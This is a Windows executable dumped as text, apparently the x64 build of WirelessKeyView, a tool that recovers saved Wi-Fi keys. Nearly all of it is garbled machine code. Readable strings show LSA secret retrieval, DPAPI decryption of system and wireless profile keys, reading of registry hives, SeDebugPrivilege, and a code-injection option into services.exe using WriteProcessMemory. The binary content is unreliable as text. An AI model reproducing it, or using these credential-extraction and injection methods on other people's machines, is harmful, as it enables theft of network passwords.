3HHD$`HLD;L'McHT$`HcMH躤tADA;~܃3ɃH\$hIT$ E3H3Ƀu&;<3H\$pH A_A^A]A\_^]øH\$Hl$Ht$ WATAUH`HHHE3E3E33}HH$E3L觪u3E$tH$DHtHH$LHP0Du%Et A;|3 yA]wlHd$,+LL$ ID$0ůHHcۍWE3LHALL$ LËD\$0D\$,L\$`AI[(Ik0Is8IA]A\_@SH0HHDBdD$ DIDA 3HHDHHlnDHHëLHAH0[HHXHhHpWH0 Hs{tADDƋ׋ωXVHH<LHLú@$tE DDƋщ\$ HHLHE3DDƋ׋ω\$ ƪ3HDE3Hȉ\$(|$ ƭ3HDE3Hȉ\$(|$ H3HUHHDEHDH2HiH`HHE3E3LE3HȺH\$@Hl$HHt$PH0_H% H\$Ht$WH HA؋E3E37Ht #DE36HH\$0Ht$8H _H%HHXHhHpHx AT @QH+HIcLH$! 3LƄ$ HL$!L3D$ 謟H;34OMā$ HEBHP=u2I$LD$ ILML$ HHAHHştL$ @I[IkIs I{(IA\H\$Ht$WH 3HHE3;}DHHtH\$0Ht$8H _H\$Hl$Ht$WATAUAVAWH ELH33B),0< wOHH|I谞Hs7I؞;G@HcHGHHc H@HI4E3E39<~W3H@IHL(詞HO`IHL)薞tuH@A4(AHD;<|Eu^E3D9<~R3H@E3IHL)HO`E3HL)IՋyx H@4(AHD;<|Et Hc H\$PHl$XH4Ht$` H A_A^A]A\_H\$WH 3H9Y(tCH OH;HH\H+HHYHGHH]HGHHYHGH9_HG tH9_tH9_t H;tH9t HH_(H\$0H _H\$Hl$Ht$WATAUH3IE3LD$PHL$0MADl$PHD$QD$YfD$]D$_mA;H$HL$Ll$`Ll$hLl$pLl$xL$L$L$L$L$H]A;CEEH$3fD$赛L$L ,LMAU H$L\$ `A;HL$`Ll$@'HD$hI;tEMHL$@E33D$ AA;H\$@HL$`L\$xM;tHD$8E3E3HHD$ AAA;;H\$8HL$`見H$I;tE3HT$PHEAH$Ht$8HL$`lL$M;tE3HW3HۍL8 *uHHL$ EHKH3;D=uH AA 3Ʌ~H8tYH;|3H 8tQHH %HjKJt7H W0HuN"HRHcɋH-HHu37D @LAH?Hc D9;}y9}kHHٍGHLcH臐LcH BHc HHۍL8 tHH$ EH訏H$ HL$ 袏HtH(LL$ E3PL$ I[IkIs I{(IA\@SH HHE3HAQ E33QH@E3E3HkH `PHHHHHHHH ՚HHHE3HAQ EARHL$!3AD$ ŎH4HL$ 讎LAyuLHƧHL$ I"HHT$ VH [HHXHhHpWATAUH`xLHHPI(HT$PQDd$\I0D+d$THT$PA1t$H\$Ll$\+t$@+l$T+\$DI0D$8l$0E3HE3t$(d$ HeD\$LI(D$8E+Dd$0E3AE3Hωt$(D\$ -ID$8+HA+E3ɉ\$0E3Hωt$(l$ H6L\$`I[ Ik(Is0IA]A\_@SH HHHD@LHEC H [nLI[UVWATAUHE33HDd$pDd$tDd$xDd$zDd${D$|El$Dl$yIIDŽ$DŽ$[Ƅ$EEE$IIDŽ$DŽ$XƄ$EEE$IIEDŽ$AƄ$E!E"E#$I(I0DŽ$DŽ$DƄ$EAEBEC$IHIPDŽ$DŽ$HƄ$EaEbEc$IhIpDŽ$0DŽ$4IACEcEcEcACICICEcACNACEcEcEcACICICACACBACEcEcAKHfEcACICICHHH8LHAPL$MHȺH(3AT$hE3E3HD$(`Dd$ D$` AD$EL$D$XD$PD$HD$@D$8 HD$pHD$0HL$(H PALd$ 3H0Ld$XHD$PHHD$HHD$@D$8D$0HA PE33Dd$(Dd$ UHEHE3qLIc<I@II;~/H HCDKDCSHD$(H͉D$ eHI+uHAAEAHDd$ 3fH9H3LD9HtE3HAQlDBh HHˡAH'AA;3҉HLE+HH̔D8%H-u$H蔩HAtHչؒHH IHLDIsLH%H1DHEź00HtH {HE3ɉHE3N֓AHAH DFHLLMŋHH(L$UDFDŽ$,DŽ$]H(UE3AD3HnH$HĐA]A\_^]HHXHHUVWATAUAVAWHMLH33A@j9-DŽ$txtuH AAг9-žA~H lD9!teH;k|HH;L-@8-tQHVH օHA;t7H ;HuL"HcHHH=H;u3D LAAH;Hc D;}r9}dHHٍGHkLcH:~LcsH dBHc aHJD$T5JH;ݍL8 AuI9-:HWH\$ HD$(uH AA:9-A~H D9!t^H;|HH;@8-tQH̙H LHAq;t7H ~W;HuL"HcHvHTHH;u3^D gL8AAHh;Hc 3D;-}r)9}dHHٍGHLcH调LcH BHc HD$5H;ݍL8 uI9-H͜H\$0HD$8uH nAA谰9-rA~H QD9!t^H;P|HH;@8-tQHBH ‚HA;t7H ͂;HuL"HcHHH)H;u3ԌD LAAHޏ;Hc D;}r9}dHlHٍGHWLcH&jLc_H PBHc MH6D$@56H;ݍL8 -uI9-&HCH\$@HD$HuH AA&9-A~H D9!t^H;|HH;@8- tQHH 8H}A];t7H jC;HuL"HcHbH@HH;u3JD SL$AAHT;Hc D;}r9}dHHٍGHLcH蜀LcH BHc HD$5H;ݍL8 uI9-HřH\$PHD$XuH ZAA蜭9-^A~H =D9!t^H;<|HH;@8-tQH.H HAӳ;t7H ;HuL"HcHHHH;u3D LAAHʌ;Hc D;}r9y}dHXHٍGHCLcHVLcKH <BHc 9H"D$,5"H;ݍL8 uI9-H;H\$`HD$huH AA9-A~H D9!t^H;|HH;@8-tQHH $~HiAI;t7H V/~;HuL"HcHNH,HH;u36D ?LAAH@;Hc D;}r9}dHHٍGHLcH}LcH BHc HD$5H;ݍL8 uI9-HH\$pHD$xuH FAA航9-JA~H )D9!t^H;(|HH;@8-ktQHH k|HA述;t7H |;HuL"HcHHHH;u3D LAAH;Hc D;{}rw9e}dHDHٍGH/LcH{BLc7H (BHc %HD$5H;ݍL8 uIHEH$3AH$@$H$j{@$AHl$(LMLEHH$zH$P{H$HHLcHcH #{HM|"{HUHHLcHcH zHL+|{3Hc9-+@@uH AA,;~H 9t\H;|HH;"@8-tSHƏH FzHi;t7H vOz;HuN"HcHnHLHH;u3VD _L0AH^;Hc )D;#}x9 }jHHٍGHLcHyLcH BHc H5H;ݍL8 tLL;H$HtAHL$(H$D$LH$HL$8HL$ D$ Hl$@L|$PD$XHl$`Hl$pLl$xDŽ$H$ۆ;tL;tD$LAHT$PIxH$ HİA_A^A]A\_^]H\$UVWHpHHE3HE3҄HHLL$0HD$0 ۃd$8E3|$4\$@\$<T$XHrHHH9t H$H]AE3HHD$ u`H$H$HAE3HD$ Su#H$HH$ H$H$Hp_^]H\$Hl$Ht$WH HHHL$!3Av=ND$ uH AAZ3~H 9 tYH;|3H'8FtQHH FuvHK 蚪t7H vHuN"HcHH}HHu3D La AHHc ZD9;T}vP9>}hHHٍGHLcHuLcH BHc H HۍL8 uHH8tHL˅A$HuAXHH3L$ I[IkIs I_HHXHhHp WATAUH@HHuH$0~LL$ HjH$0E3D$ $HH蝶HL$ 3MHL3ɾ2H!LHKtS39k@~=E3HCHH@Jc (HIIHTHI I;k@|HΉIHE3E3V3LH$`DHteHHLcź,tA +A3Ʌt!HL$`AIHt A;}x3Iv}H 7~tBHt HL$ ҒR}tH4HL$ =~H3L$@I[(Ik0Is8IA]A\_@S vH+HHH$0 *t=HL$!3AD$ rH$0 HLD$ HHuH [@S uH+HHH$0 躸t=HL$!3AD$ rH$0 HLD$ HHH [@SHPH$DHHFHL$8AHD$8D$<HD$ D$0mqLHL$ mROu3HHT$8AHtqHE3E3z}HL$ MHP[@SHPHHHT$`袷tRLHHL$ HD$ HD$`iHD$8HD$LHD$@D$HNHL$ (MHHHP[H%J}HHXHhHpWATAUHP3DH9iH3AYpH$@A3Q{S.H$@pH;tH߉H$@oLH$@HL$0L\$ \$0$5Dd$(oHH$5oHHT$ sSt$(,;tHH;t"H|* |H|L3oHD$ L|HEHL$ DP;uHPl$(H;t H(L(HD$ HEHMHL$ APLT$ L8HHL$ E3DAR;uD;t H(ªD;HHD萙;|ZHALA;@H};|A;@(}HcI@IP HHHAHHHPD;|DH;BH};|;B(}HcHBHZH~HqnHL$PI[ Ik(Is0IA]A\_H\$Hl$Ht$ WATAUAVAWH HHDHǯH3uHH,3ɺDa[yHJyL ED$HHHmAHE3E3y3LHT$PDHmthHHLcƺ,tAy A+Amy3ɅEttHLD$PAHHt AA;}wE3HAHHHvH RxEtHH‘H3螉H\$XHl$`Ht$hH A_A^A]A\_@SH HH~wHHHt(H}HHHyH`1Hl3H [H%yH\$Hl$VWATHfAHt f1fBuHE3E3AQ xf[uHfIuHIfVuHfWuHfDuHE3E3pwfCuqHRH$H ;{H$CH$H _{CLH$pHHHuwH$,GfAH3AHD$p$HL$qjL$HT$pHHD$HT$pD@HE3D$ mH3gHfG+DfuOHLL$0ՃHHtD$< L D$@Xv[LDd$@Dd$<@vfOu;HLL$0LƃHHt D$<먃d$<Dd$@uAXfA;u?HHOtHE3E3uHHufHuH(f^uH3H˃p HfEuH3H˃pHfFu 3HfJu HfKuFLd$XHH5^}HL$0Ht$0M@MكHL$0Ht$0DfLu[HLIk3E3LƺIt~ALƺItHHufNH=HHum3LJPH4rHHHHHHHLJfLJuH L$I[ Ik0IA\_^H\$Ht$WH0AxI؋HuAH0E3E3#sH9u$SH8d$ LC AOsHcpuL{H{DFHL$13D$0fHT$0H %w?HHT$0{uHi{uHcSHAE3ƪ{uvHHtC$3C "C tC$t t C$t3t+u"HE3E3LJ2rL$0I[IsI_HHXHhHpHx ATH`IIDH Ptu-tStGtHrHHH3HH 3H{HL;gHL$@qH3rH3H聪HHHHd$0DL$DDD$@HL$(d$ H˺orH(I9AII nHN nHHN 2n3HL$LDBHYdHN HD$HHD$(LN(HAD$ D$HD$PrHN Hm`L;(uW3\ngHoHoH~MtHE3E3o qHt7D;u2FHt HIF@tHH%pLLAH#FL\$`I[IkIs I{(IA\@SHd$`d$pd$tHBH3HD$hqmH$H$HD$xHH$HCHL$`H$HDŽ$Ho3 mH\$XH,sHD$PHd$HHd$@D$8D$0d$(d$ AL3nHHİ[H\$WHpH}3HHxH jbH;t@XHùH?bH;t H8OLLHLIHHHH;t SkHAH{HL$0EA \$ UHL$0 kHH {H(:3keHmHOHqH3aHH$HHp_H\$Hl$Ht$WATAUAVAWH HHE3E33E3HL!HHH3E33E3L-AqH;yH}Mx;y(}HABHY3IH zH`upH zH`upvH zH`up^H zH`upFH zHl`up.H zHT`upH zH<`upDHIHH; 3HH339XHH;YH}Hx;Y(} HAHQ3IH x_uRHS;QH} HGHx;Q(}HATHQ3IՀ:~Hu HAE3?HH;XH]A3IjHjH۱H`PHHHHwAuu\=9LuA$8I$Ic\$PI3IHcݛL 6LHH^H AjLE;{H}ExE;{(}ICIcD,MkE3HHA}t 3Iz *i3HHIiHiHtuHDHHu HHHPHE3D9cP~NAHLHHLAPXtLDMHHAt AD;cP} 33rztuHDHHu HHHPPA}t H1gH h3zHAHt(HnHHH5H`H\H\$PHl$XHt$`AH A_A^A]A\_HHXHhHpHx ATHE3H pID$ D$$AAsfI;Ht1HlpHSfI;tHL$ At$ЋH/fA;u |eA;u&LCpHDpA03Fh+L9%u0H yeI;HtHyHeHúHDvHL$ Ld$ fH$D$PD$TDd$0Dd$4Ld$@Ld$HDd$XDd$8D$l Ld$`Dd$pDd$hDd$xL\$0HL$0HL$H$HuD軅A;|HHG-H$HuD肅A;|HtHmce3D3"dHg%E3HsdL$A{H~H$;A;3iH$H$9$4teH$*f3bdgHHD$ H aH afH waHHD$ HL$ HD$8CHL$ fD$0CHT$0LE3IfD$2HHuHHMHHH\$PHl$XHt$`H|$hH@A\H\$Hl$VWATAUAV@ FH+H3I؅ID@HL$1tGBL$ D$0At LD$0H'iL$ LD$0HHMDD$0BL$ L\$(LL$0LSHHD$ ME3HL$0ABtpH$ 33ۅDuLc~YD0< uH?A;$p D1$q Ƅ$r s%3H$p DBUBHHI;|t}L$@ AI[8Ik@IA^A]A\_^H\$Ht$WH AIHtLH$PHL$!3ҋAD$ AHT$ A AL$XHLHL!L$XDHH~LH$PL$ I[IsI_H\$WH@HD$8IHeAE3HHD$ 3I;uDHL$8HD$0LL$4HD$(H`E3H|$ D$0IK;DHL$8~IH\$PH@_LI[IsWH@ICIIAE3HIC3ZI;uHD$pHL$8LL$4D$0HD$0E3HD$(HH|$ I;u L$09HL$8HHt$XH\$PH@_HH`H\$WH AILD$HD$HHEH{uL$HfH\$0H _H(LIE3HJH(H8HALHIHD$(LD$ MH8LEK H8HALHIICIC MMIC H8H8yMHAtLHSJ HD$(D$`MMHD$ )JH8LI[WH0YILHEɉD$XHAICIC ICuD$XfH\$@H0_H\$Hl$Ht$ WH03HH H;Ht>H/3HZHHtQ3HHȉOl>DGLL$@HHHl$@Hl$ H;ŋt H9regfEH6HHl$PHt$XH\$HH0_H\$Hl$Ht$ WATAUAVAW *AH+LMHL$!3AD$ =E33B<;A)F$;EtH uRA=Hu HٸA+;O~IcHL$ LcIZ=EHcD uDDnHA;Fst tI3Ht fxnkup33t|$X L$X DNjIStTAH$!3MƄ$ <$X L$ EIUtHT$ H$ <t ;r3$X L$ I[0Ik@IsHIA_A^A]A\_LI[IsWH@3IAL;t0D$p;v(I[I[D$(MKL3D3G7Ht$XH\$PH@_̍AE3;ALsA;t A;tHII;t]fxnkuUD;@(sOH,A;BsA;t A;tI II;t'ATA;BsA;t A;tDM I3H\$Ht$WH IH3XH;tQHPOHfWsH HGW#@ ;Nst ;tHH_Ht$8H\$0H _H\$Ht$WH IH3;tLL$PLƋHHt$8H\$0H _H\$Hl$Ht$WATAUAVAW0=H+3M;AMLst ;tHHH;tfxnkuD`(DD;HL$13A@|$0:DƋIH;tl@t.PρsCHHL$0HPL9@|0#D@HPLL$0IAD$ [;tHL$0I:;t A;s^MDƋIL$0I[0Ik8Is@IA_A^A]A\_H\$Ht$WH03I;ALst ;tDLLL;tpfAxnkugfAxLr5AHL3;u$AxQ sIPPDL$ DIL*H;A@Lt D;vIPPHLH8@<3H\$@Ht$HH0_D3LD;Qst ;tAI HH;tBfynku:D9Av4Q t,A;Ks ;tI HH;tALA @SH@H9Ht H UBHH3HT$ D$ NHL$)HL$!L$0fL$1L$3HD$!tD$+eD$,aD$&tD$'eD$"CD$*rD$-dD$#rD$.ED$/xD$$eD$%aD$(TD$)hAHC]3H@[HHXHpWHHHXHǀXA$HH{3H;u33H$DB@63HL$`HD$pHD$hLH$H$E3H$H$HD$PH$H\$HH\$@H\$8D$0HD$(H$H\$hHDŽ$HHDŽ$HDŽ$HD$ HDŽ$HDŽ$H\$`;HD\$`H8H$L$E3HD$0H$3HD$(HD$ ?L$I[IsI_H\$Hl$Ht$WH ILHHN@3H;HtrHH@;Njv`HH~@H;tOHH@H;Lt>DAt AIσk3A;r <3Ӊ2H\$0Hl$8Ht$@H _H(L9E3D@H(H\$Hl$Ht$WH0HIHL$!3AID$ 4AA+t&A;u=HT$ H)@t+LL$ E3d;\u{\tL˺fH@L$03I[IkIs I_HHXHhHpWHpHHH IH3?;H!HL$ Hl$ H\$(H\$0H|$8HD$HD$@Ht$P?H;HtDHT$`HZ?;tHT$`Hλ3H$HLAP(H$HRL$pI[IkIs I_@SH0HDHQDHfDT$ D2HH0[H\$Hl$Ht$WH 3HHkDAu HQbA"uHcHQAH2[Au HxQ A&uHqQHcAH2)A uHVQHcLH2 HcÃD0?t HSH\$0Hl$8Ht$@H _HHXHhHpHx ATH HIHHL$!E3L3Dd$ 2H$!L3D$ 2~A|$uD9fANA;D#t{HCQH1DFE;~H7QHL$ W1HT$ HV1Nt.H$ HQHL$ L!1HT$ H 1HQH1D9f tHPH0HH0D9f tHPH0A;tHPH0L$ HI[IkIs I{(IA\HHXHhHpHx AVH0 HIcHAH3MAƀ0H$1M3Ƅ$00H$1M3Ƅ$00t&H$0HFH$0L/$` t8H$0HOH$0L/HOH$00L$0HOH$0/H$0HLHH]HL$1M3D$0/LA8tHOHL$0J/D$0H$0L$0LD$0HD$(HCHOH$0HD$ /H$0H^LHHvL$0 I[IkIs I{(IA^H\$Hl$H|$ATAUAVHHd$0HL$0I3sf!\$@DCHL$D3.HD$@Dc L NLNHL$0Aԍ{HD$ tHD$P8AH$3Mň$.LNH$DI.L$HL$0A}DHN\$@D$` H$HND$dH$HuND$hH$HbND$lH$3D$p!D$|HD$AD$IfD$MD$OD$t D$xDŽ$$LDŽ$DŽ$DŽ$DŽ$ DŽ$ DŽ$ H$Ld$@LHL$0AiH$3AƄ$0-DD;\$8stt AHD$03HtPfxnkuHH4;T$8st tHT$03HtD@NL$HL$0D$ v3H$DB,H$AỈ$,IHIE3JcD`T@A(II|H|$0t HL$0o,L$I[ Ik(I{0IA^A]A\LEK ECSUVWATAUAVAWHHH \LAHL$xH ULLIH HLD$@&IH 9LD$AIH #LD$C"IH LD$D IH LD$E'IH LIH LIH KIH KIH KIH KIH KIH KIH KIH KIH KIH KI H KI(H KI0H KI8H KI@H KIHH KIPH KIXH KI`H KIhH KIpH KIxH |KIH vKIH pKIH jKIH dKIH ^KIH XKIH RKIH LKIH FKIH @KIH :KIH 4KIH .KIH (KIH "KIH KIH KIH KIH KIH KI H JI(H JI0H JI8H JI@H JIHH JIPH JIXH JI`H JIhH JIpH JIxH JIH JIH JIH JIH JIH JIH JIH JIH JIH JIH JIH zJIH tJIH nJIH hJE3IH _JAIH VJAIH MJIH GJIH AJIH ;JI H 5JI(H /JI0H )JI8H #JI@H JIHH JIPH JIXH JI`H JIhH IIpH IIxH IIKH IIKH IIKH IIKH IIKH IIKD8:$t;~LcG4,A&FIHIHD$PHLx;&HTxHL$PLcL& HH|C|,#VCD,0$LcߍtA+oFHcIE3AMH<;t!II} HA:uHLA;~>HL$hLc$3HL$hDBF|$h$Hcύt)$E3EIcHİH$HL$PHLcL$tNAA_|̋$E3D9$t[A wU;tHcǃD9$ ( tADω$5HcA_D$($Bt>E3D@Hcψ)HcǃD4(HcF8<($uD9$ HcD<(tA;~ |( uD|(HĸA_A^A]A\_^][H\$WH HGHHHI Ht #Hc HxHtHKHr#HpHtHKHV#HhHtHKH:#H`HtH.JH#HXHtHJH#H\$0H _H\$WH HHI Ht "Hc O{("K(HC H\$0H _H\$Ht$WH0y,Ht y,IHG H:A}G +DG D+HhAJLhHXI;H52HIEAqI,WHO  <"t<'uDGA<"t<'u BGA@G_Hp+_SILpWI;HDCIE HW d$(d$ E3dLpI;IE3H`AHHH\$@Ht$HH0_H\$Hl$VWATAUAVH0E3HDi@Di0Di4DiF<-FDouD9o8uFHωGG, , u# v/t>t"t't G,wD9o@t+G, tt tu/uA;v;LJ>u,D9o0u&D9w,t HHPNA;ʼnOuDw4Dw,Do@D9o4uHG AD8,H\$hHl$pH0A^A]A\_^D,uC v"/t9>t4s,ADl=U\8UG,uA;u G,,u v/t>t G,w,u! v/t =t>u FG,G ,u- v(/t#=u G,8HG,w, > ="G,wt't Do8Dw8_T H\$WH`HHHHHSPHSHd$@3E3HL$HE3L$PH3HL$XHL$@HL$0d$(Hd$ HL$PЅt`D$@ǃtNH|$HtF@w9HKpSHt-HHSHtL$@HT$H LHHL$HS HS(3H\$pH`_H\$Hl$Ht$WATAVHHALE3HL$a3AIADt$`HL$`8&HS EFH$D$D$D$DŽ$L$D$uD$pD$pDŽ$|7H >7HL$`H*HLHsL$uH>HL$`Y=D$uH$pH$z 3E3HD$HHD$@L\$XHD$8Dt$0HT$PH$E3E3Lt$(Dt$@Ld$XLt$ l$P,A;t;D$@O;GH$ I;tHT$HDHUHL$Hp$H$I;t3;#L$I[ Ik(Is0IA^A\_HHXHhHpHx ATAUAVHE3LEHHQ D}Dt$`EFHIADDDǀLDxǀH8H 8=H~LDIsL$eH=H8;D$eHT$`H$ 3E3HD$HHD$@L\$XHD$8Dt$0HT$PH$E3E3Lt$(Dt$@Ll$XLt$ Dd$PA;t;D$@O;GH$I;tHT$HDHHL$H"H$I;t3!L$I[ Ik(Is0I{8IA^A]A\HHXHhHpWATAUAVAWHEL3H3LM@3@8-~xHD$AD$IfD$MD$O@l$@uH ^x"XyHIxH$H$;~ H\tH,H$)H$;HL$@nH$HL$@H~;}HcHT$@H9xu1VH$H -o|9-zot)HoHL$pA 9-[ot DD$pD;u ;DH3ҹ H;H/HL$x3AHl$@Hl$pH + L:HL$@HHL04HL$@HHD$xLw:HL$@HH$Ls:HL$@HH$Lg:HL$@HH$L[:HL$@HHD$p3A$HDH$D$ D3AHLD$ @AM3HIHD$ wMD$H$DHEE3LMHHLd$ "H9H$ H9H$H9H$H9H$L#AHHLd$ A$LD$pMIHLd$ HD$PHD$8D$0HL$XE3E3HLl$(Dd$PLd$XHl$ Ld$`#HHC'HUHEGH$3L$;L$MIHLd$ $A;v0At$H$|I΍F;GD L$ M;tAE3IDHDE3HHH$DDE3HHL$XI;tHL$I[0Ik8Is@IA_A^A]A\_H\$Hl$Ht$WATAUHH$8MAELH A;YHL$H3AE\$p3D;D$.A $UH\$ L$+Iԃ4DHu9@tq;IT$HL$@A%3D$0VD$1fD$2 D$3BD$4D$5D$6D$7D$8MD$9gD$:D$;fD$<L$ONЋÃk +HL0A0I |ӻH$ID2HW4H$D2H$0H$Dk2LHT$@HAL$I[ Ik(Is0IA]A\_HHXHxLh AVH0IHAH3MƀsH$13AƄ$0VHL$13AD$0?$HIL$HL?1H5ID$HH5HL$0LD$0H5H$0LuL$0L6H$0ID$  H$1 M3Ƅ$0 L$0LD$0H5H$0 H$1M3Ƅ$0YL$0L5H$0 IDl$ H$0;wAHHH$0tHP0L$0I[I{ Mk(IA^H\$UVW@>H+HIHHL$A33ADŽ$`@l$@HW4DŽ$p@*@8+t LHH$`HD$8H$@HD$0H$xHD$(H!l$ 3D$`Apv9$@Ƅ$?t'H$@LL$@H$@HD$(HH\$ H$`DŽ$pHD$8H$@DŽ$`HD$0H$xHD$(Hd$ L$pLD$@HSH$hH@_^]H\$HL$UVWATAUAVAWH+E3HH4H$3LHD$`Ll$hD$D$2H$L3D$H80H &H!HLH;sL$H&H8R0D$H8 H &H HLH;sL$H&H80D$L$H$HL$`tD9$HNHT$pA,` H$L3D$. H8F H 2H7 LDL;sL$Hx2H8h/D$H$HL$0Ll$0;H\$0A;LV2HL$0 A;ŋ;L$8s tHII;tfynkuDqEE;EL$HL$0EċD$A;TH$3AD$ D$L$HL$0AAED;\$8sAt E;tAHII;t fxnkup(AA;AH$3HL$DfDl$@DB LL$@HL$0DA-A;Dl$DAE=wpH$3AƄ$M HT$PH$MP $t4H$L H$HD$(H$EHHD$ E3;>H\$0AE;wI;tH H$HA_A^A]A\_^]@SVWH 34H@q4u 3H$t$xDB(Ht$P$h HL$Pm;tL$PH$A3T$X;H/H$ft$@HH/H$@HAH/HA/fA3H$HD$BD$JfD$NH$HD$H H$ffD$@ H$PfHL$PffD$BJl;tL$@HT$@HT$`H$@H;t:HR,;OHKLcj H$@HL$Pk;tHT$pH$PHL$Pk;tHT$hH$3A@$H$H.A5H$+D$H$HD$L$HHK-AE3HL\$ p;H$HLHH$3A@$L3SH$XH$AE3HD$  ;u&H$XL$HH$XH$HHD$@L$@HD$8Ht$0L$Ht$(DŽ$@Ht$ H$H;[cHL$PH;tH _^[H\$Hl$Ht$ WATAUAVAWH HH*MLHL$8A3HD$0<0H_E3I;ǻt'p X$D8DxLxLxDx(DxH$L$HI;t'p X$D8DxLxLxDx(DxH$L$HI;tDxL8DxXDx H$L$HI;tDxL8DxXDx H$L$HsI;tDxL8DxXDx H$L$H$ 3҉H H$AH H$D$tD$xD$|$HN,HD$03IH$ N"HHu3HHL$0ЋHT$PL$ DHD$ L|$ HHL$0D8$H$^+HcHZI;IH~Ml33҈$ lf$ $ D@H$ D$ +HH;|4H$l L$L HD$ DHHuD9@tLA;tPH$p MHH$p AI$H$p AI$LH$HAH\H*HL$0HD$0L$ I[8Ik@IsHIA_A^A]A\_H\$WH@HL$ HHLHL$ HD$(Ƅ$Ƅ$/$ltMHH$t*HH$tH$Hno$ludH$.HtHH3Ht@H)yu0HL<\t~N~r}}}}}}}p~^~}qqqqhq|||||,}}}|nwXwHw6w w w~wvvsss tt$t4tBtPtdtvtttttttttuu6uFuVuluxuuuuuuuuvv8vVvlv|vvvvvv~~~~wwwwwwxx,x|L|Z|t||D}X}ssxspsfs^sTsFss$sssrrrrrsss.srrrrrrr~rvrdrTrJr@r6r*r rr rrqqq~~:@:@;@;@;UK[]M%2.2XMS Sans Serifс֒尻񤬽ܬݖ܄׌WirelessKeyView(@s@@\@ShowGridLinesSaveFilterIndexShowInfoTipExternalWinDirUseCodeInject

%s %s

@@(@s@t@(@v@(@@@@h@@@Ȏ@<&@D&@ȁ@\&@Ȗ@p@X@s@$@ @%@%@t @@<&@<&@z@(@L@%@@advapi32.dllCryptAcquireContextACryptReleaseContextCryptCreateHashCryptGetHashParamCryptHashDataCryptDestroyHashCryptDecryptCryptDeriveKeyAppData\Roaming\Microsoft\ProtectApplication Data\Microsoft\Protect%8.8X-%4.4X-%4.4X-%2.2X%2.2X-%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X*.*comctl32.dllInitCommonControlsExErrorError: Cannot load the common control classes.,@\I@@F@H@(@s@M@s@@netmsg.dllUnknown Error\Error %d: %seditkernel32.dll... open %2.2X %s (%s)captionmenu_%ddialog_%dstringsgeneralsysdatetimepick32rtlcharsetTranslatorNameTranslatorURL_lng.ini, %-18s: %s %%-%d.%ds %s%s %s%s bgcolor="%s" nowrap%s

<%s>%s <%s> t@(@v@ @@@@h@@@Ȏ@<&@t@ȁ@(@Ȗ@H@X@s@7@7@8@<&@s@7@@<&@z@(@L@s@LsaOpenPolicyLsaRetrievePrivateDataLsaCloseLsaFreeMemorySystemFunction005Policy\PolSecretEncryptionKeysystem32\config\systemsystem32\config\securityPolicy\SecretsCurrValDPAPI_SYSTEM%s: %s/sort/nosortSysListView32/noregreport.htmlcommdlg_FindReplace*.txt*.htm;*.html*.xml*.csvcp.cfgGeneralWinPosSortColumns/external/codeinjectSoftware\NirSoft\WirelessKeyViewArialډĎ/stext/shtml/sverhtml/sxml/stab/scomma/stabularSeDebugPrivilege/savelangfile/deleteregkey@s@@t@@(@s@s@d@s@@T@\@@@̨@d@{Unknown}Exception %8.8X at address %16.16I64X in module %s Registers: EAX=%16.16I64X EBX=%16.16I64X ECX=%16.16I64X EDX=%16.16I64X ESI=%16.16I64X EDI=%16.16I64X EBP=%16.16I64X ESP=%16.16I64X EIP=%16.16I64X Stack Data: %s Code Data: %s OpenProcessTokenLookupPrivilegeValueAAdjustTokenPrivilegesCreateToolhelp32SnapshotModule32FirstModule32NextProcess32FirstProcess32Nextpsapi.dllGetModuleBaseNameAEnumProcessModulesGetModuleFileNameExAEnumProcessesGetModuleInformation\systemrootSTATICEDIT%s:GetProcAddressntdll.dllLdrGetProcedureAddress$@$@@@@L@,@l@shell32.dllSHGetSpecialFolderPathAshlwapi.dllSHAutoComplete%2.2X%2.2X%2.2X<>"°&
%s%s %s

%s

width="%s"%s%s%s
CurrentSelectControlSet%3.3d\Control\LsaJDSkew1GBGDataamp;lt;gt;quot;nbsp;apos;iexcl;cent;pound;curren;yen;brvbar;sect;uml;copy;ordf;laquo;not;shy;reg;macr;deg;plusmn;sup2;sup3;acute;micro;para;middot;cedil;sup1;ordm;raquo;frac14;frac12;frac34;iquest;Agrave;Aacute;Acirc;Atilde;Auml;Aring;AElig;Ccedil;Egrave;Eacute;Ecirc;Euml;Igrave;Iacute;Icirc;Iuml;ETH;Ntilde;Ograve;Oacute;Ocirc;Otilde;Ouml;times;Oslash;Ugrave;Uacute;Ucirc;Uuml;Yacute;THORN;szlig;agrave;aacute;acirc;atilde;auml;aring;aelig;ccedil;egrave;eacute;ecirc;euml;igrave;iacute;icirc;iuml;eth;ntilde;ograve;oacute;ocirc;otilde;ouml;divide;oslash;ugrave;uacute;ucirc;uuml;yacute;thorn;yuml;@<&@<&@%2.2xservices.exeMicrosoft\Protect\S-1-5-18\Usersystem32\Microsoft\Protect\S-1-5-18\UserGetModuleHandleAWriteProcessMemoryLocalFreeLoadLibraryAFreeLibrarycrypt32.dllCryptUnprotectDatamemcpymsvcrt.dllSOFTWARE\Microsoft\WZCSVC\Parameters\InterfacesSYSTEM\SelectControlSet%3.3dSYSTEM\%s\Control\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\%s\ConnectionPnpInstanceIDSYSTEM\%s\Enum\%sDeviceDescsystem32\config\SoftwareMicrosoft\WZCSVC\Parameters\InterfacesDPAPI_SYSTEMxmlc:\ProgramData\Microsoft\Wlansvc\Profiles\InterfacesnamekeyMaterialencryptionauthenticationSSIDWEPWPAPSKWPA2PSKs@x4@4@5@@RSDS1tI'aNz:\Projects\VS2005\WirelessKeyView\x64\Release\WirelessKeyView.pdbBRP t4 b:77:89@:9  4 p d*T)4(&pd 4 r p20T 4  pr02p d T 4 Rp t)d(T'4&$b  4 Rp 44d4 p0d 4  pdT4pd42 p wp` P 0 t+d*T)4(& tIdHTG4FD d2T140.pdT42pd3420 pd T 4 Rpd'4&$ pd)4(& p dT4p" "t "d"T"4"d42 p dNTM4LFp t d T 4  dT 4 rp t+ d* T) 4( $d T 4Rp  $0 tdT4 tdT 4 0##4#p`P t d T 4 Rd T 4 rp xhdT 4 pT 4 R p `d 4  p 4=2 p`P T 4 2 p `d 42 p  4 pd 4 r pr0 t4% %d %T %4 %p T4 p ` 9 p`P0  4( &p! !d!T!4!p  4 rpR0 42 p ` P  4F Dp d,T+4*&p  4 2p  &04(&p! !d!T!4!p t dT42d42p d T 42p" "t#"d""T!"4 "# #d#T#4#p tq dp To 4n j to dn Tm 4l hd 4  p" "t"d"T"4"  4 p t d T 4RdT4p% %d%T %4 %p  4 Rp  b d(T'4&$p4.*p`P dT4p dpTo4njp  4 p`P 4 p ` P d T 4 Rp dT4pd 42 p t d T 4 r T 4 2 p `4 p 4 p `P  t d 4R T4 